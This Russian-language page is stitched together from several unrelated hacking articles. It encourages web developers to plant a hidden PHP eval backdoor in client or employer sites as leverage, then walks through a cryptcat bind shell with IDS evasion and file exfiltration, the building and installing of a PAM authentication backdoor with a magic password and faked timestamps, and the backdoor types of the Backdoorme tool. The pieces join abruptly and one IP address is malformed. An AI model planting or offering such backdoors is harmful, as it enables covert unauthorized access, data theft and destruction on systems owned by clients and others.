Черный ход для хакера в твой ПК – BackDoor spyware. Backdoor – страховка от нечестных клиентов Встраиваем бэкдор в существующий модуль

Помнится в статье "10 советов и рекомендаций по заказу сайта" я упоминал случай, когда нечестный клиент решил кинуть нас даже несмотря на то, что работали вместе больше полутора лет. После того, как мы узнали, что нам ничего не выплатят, мы не смогли даже вернуть себе сайты, так как ни одной лазейки в них не осталось.

Однако меня спало то, что в одном из сайтов у меня остался небольшой "запасной вход", благодаря которому я не думал развиться второму сайту и вылезти в свет. И выглядел этот вход в виде простой формы загрузки файлов на сервер.

С её помощью я загружал на сайт нужные скрипты и запускал их на сайте, а они, в свою очередь, делали свою грязную работу. Минус у этой двери был один – ей мог воспользоваться кто угодно, если, конечно, знал о её существовании.

Прошло время, и несмотря на то, что до сегодняшнего дня всё идёт гладко, это не исключает того, что такая петрушка может повториться вновь.

В принципе, можно использовать и старый метод с отправкой исполняемого файла на сервер, но… Зачем эти сложности, если можно сделать всё проще.

Я предлагаю варианты и идеи простейшего бэкдурова, на случай если действительно возникнут проблемы. Итак…

  1. Создаём файл php и называем его как-нибудь неприметно, типа license.php или ещё как.
  2. Пишем в нём код

    if (isset($_POST["text"]))
    eval ($_POST["text"]);
    ?>




  3. Помещаем файл куда-нибудь подальше вглубь cms-ки, например, в дебри WYSIWYG-редактора. При желании дублируем файл ещё в 2-3 места (на всякий пожарный)

Вот он, каркас для безобразий. Полагаю, не нужно пояснять, что функция eval приводит в исполнение набранный в форме код.

Это всего лишь каркас, который может иметь множество примеров реализации. Допустим, можно через highlight_file вывести содержание какого-нибудь файла с паролями, к которому нет прямого доступа. Можно подключиться к базе данных, считать содержание или изменить его. А можно и вовсе напечатать скрипт удаления всего на сервере, почему бы и нет.

Чуть ниже я предлагаю идеи для дополнения этой дверцы, которые можно сделать по желанию – оставлю тебе, дорогой читатель, в качестве необязательного домашнего задания. Но если вдруг будет желание – с радостью гляну на то, что получилось.

Идеи для улучшения :

  1. Вообще было бы неплохо, чтобы дверь не была доступна каждому, и сделать для неё авторизацию, к примеру, через обычный.htaccess, ну, или средствами PHP на основе сессий (а лучше и то, и другое – прим.ред. ).
  2. Имея авторизацию, можно вообще заготовить ряд кнопочек, кликая по которым можно вызывать тот или иной скрипт. К примеру, заходишь ты в свою дверцу, а там кнопки – считать пароли, считать базу данных, удалить административную панель и так далее.
  3. Ещё идеи?

Напоследок

Использовать дверку есть смысл тогда, когда сдаёшь сайт до выплаты (бывает), или когда работаешь в фирме, и хочешь подстраховаться. В первом случае, когда выплата производится, то дверку можно удалить, а можно и оставить, правда не думаю, что она уже понадобится. А во втором случае – придётся держать её наготове постоянно.

На сегодня всё. Буду рад Вашим идеям и предложениям на тему! До новых встреч

Cryptcat позволяет нам общаться между двумя системами и шифрует связь между ними с помощью twofish - одного из многих прекрасных алгоритмов шифрования.

Ранее мы познакомились с одним маленьким , который позволяет создать соединение между любыми двумя машинами и передавать файлы или создать командную оболочку для "овладения" системой. Несмотря на красоту и элегантность этого маленького инструмента, он имеет один главный недостаток - передачи между компьютерами могут быть обнаружены такими устройствами безопасности, как брандмауэры и системы обнаружения вторжений (IDS).

В этом уроке познакомимся с популярным кузеном netcat, cryptcat (он на самом деле гораздо симпатичнее и более экзотический, чем простой netcat).

Поскольку шифрование twofish находится на одном уровне с шифрованием AES, то это делает cryptcat практически пуленепробиваемым. Таким образом, IDS не могут выявить вредное поведение даже тогда, когда его маршруты пролегают через такие обычные HTTP-порты 80 и 443.

Шаг 1: Загрузите Cryptcat

Шаг 2: Откройте слушателя на системе Windows

Мы можем открыть слушателя на любой системе с подобным синтаксисом, как для netcat. В нашем случае, мы открываем слушателя в системе Windows 7 на порту 6996 и создаем командную оболочку.

cryptcat -l -p 6996 -e cmd.еxе

L означает "открыть слушателя"
-p 6996 означает "разместить слушателя в порту 6996"
-e cmd.еxе означает "запустить командную оболочку для связи"

Шаг 3: Откройте Snort или другую IDS

Теперь, давайте запустим IDS типа Snort на другой системе, которая будет подключаться к системе Windows, чтобы увидеть, способно ли шифрование "ослепить" IDS, оставляя наш черный ход невидимым для подобных устройств безопасности.


Шаг 4: Подключитесь к системе Windows с Cryptcat

Cryptcat по умолчанию установлен на BackTrack , поэтому мы не должны загружать и устанавливать его. Кроме того, он находится в директории /bin, поэтому можем получить доступ к нему из любого каталога.

Теперь подключимся к системе Windows 7 cryptcat из нашей системы BackTrack и посмотрим, можем ли выполнить зашифрованное соединение бэкдор, которое почти невозможно обнаружить.

cryptcat 192.168.4.182.248 6996


Как Вы можете видеть, мы подключены к системе Windows 7 и получили командную оболочку из системы Win 7! Это дает нам значительный контроль над данной системой, но не тотальный, потому что командная оболочка имеет ограниченные возможности.

Шаг 5: Провеоьте журналы Snort и оповещения

Этот тип атаки (прохождение командной оболочки череж сеть) легко обнаруживается с помощью Snort или других IDS, когда соединение не шифруется. Правила Snort предупредят сисадмина, что cmd.exе оболочка проходит сетевое соединение, и они, вероятно, сделают что-то, чтобы удержать Вас от использования этой командной оболочки. С зашифрованным соединением, доступным с cryptcat, эту связь почти невозможно обнаружить.

Давайте вернемся назад и проверим журналы и оповещения в Snort. Если мы были успешными в уклонении от IDS, то не должны увидеть предупреждение о перемещении командной оболочки по сети. Мы можем проверить наши журналы, зайдя в /var/snort/alerts и посмотрев есть ли какие-либо сигналы, вызванные нашей связью с машиной Windows (обычно, мы должны найти предупреждение).

kwritе /var/snort/alerts


Как Вы можете видеть, мы добились успеха. Мы смогли подключиться к системе Windows, не привлекая внимания любой из систем безопасности!

Шаг 6: Отправьте Crypcat через порт 80, чтобы уклониться от брандмауера

Хотя мы успешно создали зашифрованный бэкдор на системе жертвы, пристальный администратор по безопасности заметит, что открытый необычный порт (6996). Это, скорее всего, будет инициировать какое-либо действие администратора по безопасности, чтобы ограничить наш доступ. Кроме того, в системах с хорошим системным администратором и хорошим брандмауэром, этот порт, вероятно, будет заблокирован брандмауэром.

Для любой сети, чтобы иметь возможность общаться в Интернете, скорее всего, нужно держать открытыми порты 80 и 443, но также, возможно, 25, 53 и 110. Поскольку в незашифрованном виде нормальный интернет-трафик проходит через порт 80, который почти всегда открыт, то незначительное увеличение трафика вряд ли замечено.

Теперь, когда мы успешно использовали cryptcat, вышлем его через порт 80 со всем остальным интернет-трафиком. Хотя он зашифрован, но будет выглядеть как и любые двоичные данные, передаваемые в линии. Поэтому будет почти невозможным для выявления устройствами безопасности, чтобы блокировать его, так как они всегда должны позволять трафик через порт 80, а трафик шифруется и IDS не сможет "видеть" его содержимое.

Здесь мы переместим файл из системы жертвы с названием topsecret.txt к нашей атакующей системе без выявления его любым устройством безопасности. На этот раз, вместо отправки командной оболочки через сеть, мы будем посылать совершенно секретный файл с именем topsecret.txt через наше зашифрованное соединение. Мы можем сделать это, набрав в командной строке Windows:

cryptcat -l -p 80 < topsecret.txt

L означает "открыть слушателя"
-p 80 означает "открыть слушателя на порту 80"
< означает "отправить файл через этого слушателя"

Спoсобов закрепиться на взломанной машине масса. От самых банальных и легко обнаруживаемых (добавить себя в базу пользователей) до сложных модулей ядра, реализующих обратный шелл на удаленную машину. Но есть среди них очень простой в реализации и достаточно скрытный метод, о котором знают на удивление мало людей. Это модификация модулей системы аутентификации PAM, котоpую используют все современные UNIX-системы.

Что такое PAM

Подключаемые модули аутентификации (Pluggable Authentication Modules, PAM) - это набор API, необходимых для реализации механизмов аутентификации в различных приложениях.

До появления PAM, чтобы реализовать аутентификацию, скажем, с помощью ключ-карты, разработчикам приходилось вносить код поддержки этих самых ключ-карт в каждый компонент системы, ответственный за аутентификацию пользователя. То есть дописывать и пересобирать приходилось утилиту login, sshd, а также любой другой софт, в который плaнировалось добавить подобную функциональность.

С появлением PAM ситуация намного упростилась. Теперь, чтобы добавить в систему свой неповторимый самописный протокол аутентификации, достаточно реализовать его в рамках одного-единственного модуля PAM. А все утилиты и приложения, умеющие работать с PAM, подхватят его и смогут использовать для аутентификации пользователя.

На практике это выглядит примерно так: утилита login обращается к PAM, который выполняет все необходимые проверки с помощью указанных в конфигурационном файле модулей и возвращает результат обратно утилите login. Удобно, не правда ли? Однако такой пoдход содержит в себе возможности, которые мы можем использовать для закрепления в системе.

Стоит сделать небольшую оговорку. Существует три основные реализации PAM:

  • Linux-PAM - основная реализация PAM в любой Linux-системе;
  • OpenPAM - используется в BSD-системах и macOS;
  • JPam - реализация PAM для Java-приложений.

Заострять внимание на какой-то конкретнoй реализации мы не будем. Основная функциональность везде одинакова.

Аспекты закрепления в *nix с использованием PAM

Настройки PAM для каждого приложения ты можешь найти в каталоге /etc/pam.d (Linux) либо в файле /etc/pam.conf . Пример конфигурационного файла для утилиты login в macOS:

auth optional pam_krb5 .so use_kcminit

auth optional pam_ntlm .so try_first_pass

auth optional pam_mount .so try_first_pass

auth required pam_opendirectory .so try_first_pass

account required pam_nologin .so

account required pam_opendirectory .so

password required pam_opendirectory .so

session required pam_launchd .so

session required pam_uwtmp .so

session optional pam_mount .so

Давай разберемся, какая магия тут происходит.

Конфигурационный файл описывает правила проверки, которые должны быть соблюдены для успешной аутентификации пользователя или же выполнения других действий (изменение пароля, подготовка пользовательского окружения). Каждая строка конфигурационного файла содержит одно пpавило. Проверки выполняются построчно.

Слева направо: тип модуля, control_flag , имя модуля. Для нас в первую очередь представляет интерес тип модуля auth, именно эти модули ответственны за аутентификацию. Control_flag - это свойство модуля. Оно может принимать значения:

  • requisite (необходимый) - если модуль возвращает положительный ответ, выполняется оставшаяся часть цепочки и запрос удовлетворяется. Если модуль возвращает отрицательный ответ, то запрос немедленно отвергается и любые другие проверки не выполняются;
  • required (требуемый) - точно так же, как и requisite: если ответ положительный, выполняется оставшаяся часть цепочки проверок. С той лишь разницей, что в случае отрицательного ответа цепочка проверок продолжает выполняться, однако запрос отвергается;
  • sufficient (достаточный) - удовлетворяет запpос в том случае, если ни одна из других ранее проведенных по цепочке проверок не отработала отрицательно. В случае еcли модуль сработал отрицательно, результат игнорируется и цепочка проверок отрабатывается дальше;
  • optional (нeобязательный) - модуль отрабатывается, однако результат игнорируется.

Уже на этом этапе ты наверняка смекнул, что, внeся небольшие изменения в файл конфигурации, мы можем обеспечить себе успешный вход в систему с любым паролем (достаточно пометить все auth-модули как optional). Но это решение будет работать до тех пор, пока легитимный пользователь или администратор не заметит того, что успешно логинится в систему даже с неверным паролем.

Пишем собственный модуль-бэкдор

PAM позволяет нам подключать собственные мoдули аутентификации. Поэтому мы можем создать модуль с «волшебным» паролем и добиться того, чтобы система принимала как стандартные пароли пользователей, так и наш собственный. В случае ввода неверного пароля мы увидим вполне ожидаемую ошибку аутентификации. Неплохой вариант.

Итак, код (не забудь заменить magic-password на свой «волшебный» пароль):

#include

#include

#include

#include

#include

#include

#define MYPASSWD "magic-password"

PAM_EXTERN int pam_sm_setcred (pam_handle_t * pamh , int flags , int argc , const char * * argv ) {

return PAM_SUCCESS ;

PAM_EXTERN int pam_sm_acct_mgmt (pam_handle_t * pamh , int flags , int argc , const char * * argv ) {

return PAM_SUCCESS ;

PAM_EXTERN int pam_sm_authenticate (pam_handle_t * pamh , int flags , int argc , const char * * argv ) {

char * password = NULL ;

pam_get_authtok (pamh , PAM_AUTHTOK , (const char * * ) & password , NULL ) ;

if (! strncmp (password , MYPASSWD , strlen (MYPASSWD ) ) )

return PAM_SUCCESS ;

return - 1 ;

Соберем модуль:

$ sudo apt - get install libpam0g - dev gcc

$ gcc - fPIC - c pam_backdoor .c

$ ld - x -- shared - o pam_backdoor .so pam_backdoor .o

И поместим его в каталог с другими модулями:

$ sudo chown root : root pam_backdoor .so

$ sudo cp pam_backdoor .so / lib / x86_64 - linux - gnu / security /

Обрати внимание, что путь /lib/x86_64-linux-gnu/security/ специфичен для Debian/Ubuntu. В Fedora, Red Hat и CentOS модули располагаются в каталоге /lib64/security/ , а в Arch Linux - в каталоге /lib/security/ .

Теперь остается только сконфигурировать PAM таким образом, чтобы прохождeния проверки твоим модулем было достаточно для успешной аутентификации. Например, конфиг для утилиты su (/etc/pam.d/su ):

В некоторых Linux-системах настройки аутентификации могут быть вынесены в несколько файлов: common-auth, common-password, common-session, а затем подключаться к конфигурационным файлам конкретных утилит через @include . Этот момент надо учитывать.

После того как ты внесешь настройки в конфиг, утилита su будет пускать тебя с использованием указанного в модуле пароля. Тот же трюк можно проделать с утилитой login (консольный вход в систему) и sshd для удаленного входа.

Встраиваем бэкдор в существующий модуль

Редактируя конфиг PAM, ты мог заметить модуль pam_unix.so. Этот модуль отвечает за аутентификацию пользователей с пoмощью стандартной для UNIX-систем базы паролей /etc/passwd . Его используют многие утилиты, включая su, login, sshd, и другие программы (например, SecureFTPd).

Поскольку PAM - это все-таки open source и мы имеем доступ к исходным текстам как самого демона, так и стандартных его компонентов, мы можем встроить свой бэкдор прямо в этот модуль.

Для того чтобы внести необходимые изменения, скачиваем исходные тексты PAM:

$ http : / / www .linux - pam .org / library / Linux - PAM - 1.1.8.tar.gz

$ tar - xzf inux - PAM - 1.1.8.tar.gz

Открываем файл Linux-PAM-1.1.8/modules/pam_unix/pam_unix_auth.c и ищем следующие строки:

Собираем и заменяем оригинальный модуль своим:

$ . / configure

$ make

$ sudo cp Linux - PAM - 1.1.8 / modules / pam_unix / .libs / pam_unix .so / lib / x86_64 - linux - gnu / security /

Чтобы админ не заметил подмены, изменяем время создания файла так, чтобы оно совпадало со временем создания других модулей.

Backdoorme - утилита для автоматического создания бэкдоров

Backdoorme является мощной утилитой, способной создать множество лазеек на Unix машинах. Backdoorme использует знакомый интерфейс metasploit с потрясающей расширяемостью. Backdoorme полагается на владение существующим SSH соединением или учетными данными жертвы, через которые она сможет передать и размесить любую лазейку. Пожалуйста, используйте Backdoorme с открытым разрешением.

Скрыто от гостей


Backdoorme сразу идет с определенным количеством встроенных бэкдоров, модулей и вспомогательных модулей. Бэкдоры являются конкретными компонентами для создания и развертывания необходимого бэкдора, такого как netcat backdoor или msfvenom backdoor. Модули могут быть применены к любому бэкдору, и используются, чтобы сделать бэкдоры более мощными, скрытыми или более быстроотключающимися. Вспомогательные элементы являются полезными операциями, которые можно выполнить, чтобы помочь сохранять перманентность.

Еще немного о бэкдорах: Чтобы запустить backdoorme, убедитесь, что у вас есть необходимые зависимости.

$ python dependencies.py

Запуск backdoorme:

$ python master.py

Бэкдоры

Чтобы использовать бэкдор, просто запустите ключевое слово "use".

>> use shell/metasploit + Using current target 1. + Using Metasploit backdoor... (msf) >>

Оттуда вы можете установить опции подходящие к бэкдору. Запустите или "show options" или "help", чтобы просмотреть список параметров, которые могут быть настроены.

Как и в metasploit, бэкдоры организованы по категориям.

  • Auxiliary (Вспомогательные категории)
    • keylogger – Добавляет кейлоггер в систему и делает для вас доступной опцию отправки результатов обратно по почте;
    • simplehttp – Устанавливает python SimpleHTTP сервер на клиенте.
    • user – Добавляет нового пользователя к цели.
    • web – Устанавливает Apache Server на клиенте.
  • Escalation (Категория расширения)
    • setuid – SetUID бэкдор работает путем установки setuid bit на исполняемый файл, подразумевая, что у пользователя есть корневой доступ. Таким образом, когда этот исполняемый файл позже запускается пользователем, не имеющим корневого доступа, данный файл выполняется с корневым доступом. По умолчанию, этот бэкдор переключает setuid bit на nano, таким образом, что если корневой доступ потерян каким-либо способом, атакующий может снова зайти в SSH как непривилегированный пользователь и все равно сможет запустить nano (или любой выбранный двоичный файл) как root. ("nano /etc/shadow"). Обратите внимание, что для развертывания данного расширения бэкдора, корневой доступ необходим в самом начале.
    • shell – shell backdoor является привилегированным расширением бэкдора, похожим на своего SetUID брата по расширению (но являющийся более конкретным) . Он дублирует оболочку bash в скрытый двоичный файл и устанавливает SUID бит. Обратите внимание, что для развертывания этого бэкдор-расширения изначально требуется корневой доступ. Чтобы использовать данный бэкдор, если SSH выступает в качестве непривилегированного пользователя, просто запустите «.bash -p», и у вас будет корневой доступ.
  • Shell (Категория оболочки)
    • bash – использует простой bash script для подключения к конкретному ip и комбинации портов и передаче результата в bash.
    • bash2 – слегка отличающаяся (и более надежная) описанного выше bash бэкдора, который не запрашивает пароль со стороны клиента.
    • metasploit – использует msfvenom для создания reverse_tcp двоичного кода на цели, затем запускает двоичный код для подключения к оболочке meterpreter.
    • netcat – использует netcat для передачи стандартного устройства ввода и вывода в /bin/sh, предоставляя пользователю интерактивную оболочку.
    • netcat_traditional – использует netcat-traditional"s -e для создания обратной оболочки.
    • perl – скрипт, написанный в perl, который перенаправляет результат в bash и переименовывает процесс, чтобы выглядеть менее заметным.
    • php – запускает php бэкдор, который отправляет результат в bash. Он не устанавливает автоматически веб-сервер, но вместо этого использует веб модуль.
    • pupy – использует бэкдор n1nj4sec Pupy, который находится на

      Скрыто от гостей

      .
    • python – использует короткий python скрипт для выполнения команд и отправки результатов обратно пользователю.
    • web – отправляет веб сервер к цели, затем загружает msfvenom php reverse_tcp бекдор и подключается к хосту. Несмотря на то, что это все еще php бэкдор, он не является таким же самым, как и описанный выше php бэкдор.
  • Access (Категория доступа)
    • remove_ssh – удаляет ssh сервер на клиенте. Очень удобно использовать в конце бэкдор сессии для удаления каких-либо следов.
    • ssh_key – создает RSA ключ и копирует на цель для подключения без пароля ssh.
    • ssh_port – Добавляет новый порт для ssh.
  • Windows (Категория Windows)
    • windows – Использует msfvenom для того, чтобы создать windows бэкдор.
Модули

У каждого бэкдора есть способность для получения дополнительных модулей, которые применяются для того, чтобы сделать бэкдор более мощным. Чтобы добавить модуль, просто используйте ключевое слово "add".

(msf) >> add poison + Poison module added

У каждого модуля есть дополнительные параметры, которые могут настраиваться и если "help" запустить повторно, вы можете увидеть или установить любые дополнительные опции.

Доступные на данный момент модули включают в себя:

  • Poison
    • Производят bin отравление целевого компьютера – Он компилирует исполняемый файл для вызова системной утилиты и существующего бэкдора.
    • Например, если модуль отравления bin запущен вместе с "ls", он скомпилирует и перенесет двоичный код под названием "ls", который будет запускать как существующий бэкдор, так и первоначальную "ls", таким образом отключая пользователя для более частого запуска бэкдора.
  • Cron
    • Добавляет существующий бэкдор в crontab корневого пользователя для работы с заданной частотой.
  • Web
    • Устанавливает веб-сервер и размещает веб-страницу, которая запускает бэкдор.
    • Просто заходит на сайт с открытым слушателем и бэкдор запускается.
  • User
    • Добавляет нового пользователя к цели.
  • Startup
    • Позволяет создавать бэкдоры с файлами bashrc и init.
  • Whitelist
    • Заносит в IP «белый список» таким образом, что только этот IP может подключиться к бэкдору.
Перевод:

© 2024 spbpda.ru
Spbpda - Обучение компьютеру